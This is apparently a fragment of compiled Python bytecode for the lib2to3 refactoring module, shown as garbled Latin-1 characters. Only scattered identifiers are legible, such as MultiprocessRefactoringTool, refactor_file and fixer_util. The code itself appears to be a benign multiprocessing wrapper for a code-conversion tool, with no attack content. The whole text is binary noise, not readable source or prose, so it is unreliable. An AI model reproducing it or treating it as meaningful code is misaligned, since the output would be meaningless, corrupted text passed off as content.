å$ºTÁ6Ð%JÓKÐK؉FððØŠHðùs‚A>Brè)FF)F)NFNrQ)r#r$r%rƒr¬r©ržr�rÃr±r²rÎrÙrÓrórÔrørrr r÷r$r-r0rör.rDr:rGrIr&rrrwrw›s­„à+0Ø).Ø27ñ9Ðð€LØ€Kó3Lòn&5òPòò ò  ó FóLò(&ó =ò.ó66ò M ò^#ð.GLØ $óBó*ð* €CØ €Cò)òVò:5ò.ò Górrwcó —eZdZy)ÚMultiprocessingUnsupportedNr"r&rrrVrV¤r'rrVcóB‡—eZdZˆfd„Z dˆfd„ Zˆfd„Zˆfd„ZˆxZS)ÚMultiprocessRefactoringToolcóH•—tt|� |i|¤Žd|_d|_yrQ)ÚsuperrXržÚqueueÚ output_lock©rœrÁÚkwargsrs €rržz$MultiprocessRefactoringTool.__init__ªs'ø€Ü Ô)¨4Ñ9¸4ÐJÀ6ÒJ؈Œ ؈ÕrcóŽ•—|dk(rtt|� |||«S ddl}|j � td«‚|j«|_|j«|_ t|«D�cgc]}|j|j¬«‘Œ }} |D]}|j«Œtt|� |||«|j j«t|«D]}|j j!d«Œ|D]#}|j#«sŒ|j«Œ%d|_y#t$rt ‚wxYwcc}w#|j j«t|«D]}|j j!d«Œ|D]#}|j#«sŒ|j«Œ%d|_wxYw)Nrrz already doing multiple processes)Útarget)rZrXrÙÚmultiprocessingÚ ImportErrorrVr[Ú RuntimeErrorÚ JoinableQueueÚLockr\ÚrangeÚProcessÚ_childÚstartr­ÚputÚis_alive) rœrÕrÖr×Ú num_processesrar8Ú processesr6rs €rrÙz$MultiprocessRefactoringTool.refactor¯s”ø€à ˜AÒ ÜÔ4°dÑDØ�u˜mó-ð -ð -Û "ð �:‰:Ð !ÜÐAÓBÐ BØ$×2Ñ2Ó4ˆŒ Ø*×/Ñ/Ó1ˆÔä# MÔ2ó4Ù2˜ð%×,Ñ,°D·K±KÐ,Õ@Ø2ð ð4ð Û�Ø—‘• ðä Ô-¨tÑ =¸eÀUØ>Kô Mð �J‰J�O‰OÔ Ü˜=Ö)�Ø— ‘ —‘˜tÕ$ð*ã�Ø—:‘:•<Ø—F‘F•HððˆD�Jøô)ò -Ü,Ð ,ð -üò 4øð �J‰J�O‰OÔ Ü˜=Ö)�Ø— ‘ —‘˜tÕ$ð*ã�Ø—:‘:•<Ø—F‘F•HððˆD�Jús$�D6Á/#E Â,EÄ6EÅAGÆ*Gcó•—|jj«}|�Q|\}} tt|�|i|¤Ž|jj «|jj«}|�ŒPyy#|jj «wxYwrQ)r[rˆrZrXrÔÚ task_done)rœÚtaskrÁr^rs €rrhz"MultiprocessRefactoringTool._childÌs€ø€Ø�z‰z�~‰~ÓˆØÐ؉LˆD�&ð 'ÜÔ1°4ÑFØð%Ø#ò%ð— ‘ ×$Ñ$Ô&Ø—:‘:—>‘>Ó#ˆDðÓøð — ‘ ×$Ñ$Õ&ús ¤A0Á0B có~•—|j�|jj||f«ytt|�|i|¤ŽSrQ)r[rjrZrXrÔr]s €rrÔz)MultiprocessRefactoringTool.refactor_file×sAø€Ø �:‰:Ð !Ø �J‰J�N‰N˜D &˜>Õ *äÔ4°dÑIØð!Øñ!ð !r)FFr)r#r$r%ržrÙrhrÔÚ __classcell__)rs@rrXrX¨s$ø„ô ð :?Ø õô: $÷!ð!rrX)T)#ruÚ __author__r`rÐrrrŠr´r9Ú itertoolsrÚpgen2rrrÚ fixer_utilrr¢r r r r“rr3r!r/rJrOrSrrrtÚobjectrwrVrXr&rrÚrxsœðñð3€ ó Û ÛÛ ÛÛÛÝ÷+Ñ*Ý!ßÝó ô �ô òCò8ò2@òò%ôP'�ô'ôF�fôFôR  ô ô4! /õ4!r